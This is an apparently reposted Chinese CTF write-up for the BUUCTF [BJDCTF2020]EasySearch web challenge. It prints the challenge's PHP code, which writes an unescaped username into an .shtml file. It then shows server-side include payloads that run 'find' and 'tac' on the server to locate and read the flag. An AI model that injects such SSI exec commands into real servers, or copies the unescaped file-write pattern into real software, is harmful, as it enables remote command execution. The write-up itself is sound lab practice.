150,[5]BUUCTFWEB[BJDCTF2020]EasySearch
- 电脑硬件
- 2025-09-09 07:18:01
![150,[5]BUUCTFWEB[BJDCTF2020]EasySearch](/0pic/pp_62.jpg)
进入靶场
有个文件
和之前一道题如出一辙
<?php // 开启输出缓冲,将后续所有的输出内容先暂存到缓冲区,而不是直接发送到浏览器 ob_start(); /** * 生成一个基于随机字符串和唯一标识符的哈希值 * @return string 返回生成的 sha1 哈希值 */ function get_hash(){ // 定义一个包含大写字母、小写字母、数字和一些特殊字符的字符集 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; // 从字符集中随机选取 5 个字符并拼接成一个随机字符串 $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)]; // Random 5 times // 生成一个基于当前时间戳的唯一标识符,并与随机字符串拼接 $content = uniqid().$random; // 对拼接后的字符串进行 sha1 哈希处理,并返回哈希值 return sha1($content); } // 设置响应的 HTTP 头,指定内容类型为 HTML,字符编码为 UTF-8 header("Content-Type: text/html;charset=utf-8"); // 检查是否通过 POST 方法提交了 'username' 字段,并且该字段不为空 if(isset($_POST['username']) && $_POST['username'] != '' ) { // 定义一个管理员密码的 md5 哈希值的前 6 位作为验证依据 $admin = '6d0bc1'; // 计算用户提交的密码的 md5 哈希值,并截取前 6 位,与预设的验证值进行比较 if ( $admin == substr(md5($_POST['password']),0,6)) { // 如果验证通过,弹出一个 JavaScript 警告框,提示欢迎进入管理系统 echo "<script>alert('[+] Welcome to manage system')</script>"; // 生成一个随机的文件名,文件扩展名为 .shtml,存放在 public 目录下 $file_shtml = "public/".get_hash().".shtml"; // 以写入模式打开文件,如果无法打开则终止程序并输出错误信息 $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); // 定义要写入文件的 HTML 内容,包含欢迎信息和用户提交的用户名 $text = ' <!-- 这里可以补充完整的 HTML 结构和样式 --> <!-- 这里可以补充完整的 HTML 结构和样式 --> <h1>Hello,'.$_POST['username'].'</h1> <!-- 这里可以补充完整的 HTML 结构和样式 --> <!-- 这里可以补充完整的 HTML 结构和样式 -->'; // 将定义好的文本内容写入文件 fwrite($shtml,$text); // 关闭文件句柄,释放资源 fclose($shtml); // 这里输出提示信息,表明可能存在 HTTP 头错误,但不清楚具体逻辑 echo "[!] Header error ..."; } else { // 如果验证不通过,弹出一个 JavaScript 警告框,提示登录失败 echo "<script>alert('[!] Failed')</script>"; } } else { // 如果没有提交 'username' 字段或该字段为空,可以在这里添加相应的处理逻辑 // 例如提示用户输入用户名 } // 可以在这里添加一些收尾的代码,例如刷新输出缓冲区等 ?>没得到什么信息
抓包
<!--#exec cmd="find / -name flag*"-->
<!--#exec cmd="tac /var/ /html/flag_990c66bf85a09c664f0b6741840499b2"-->
150,[5]BUUCTFWEB[BJDCTF2020]EasySearch由讯客互联电脑硬件栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“150,[5]BUUCTFWEB[BJDCTF2020]EasySearch”
上一篇
Dockerfile编写推荐
下一篇
nacos学习笔记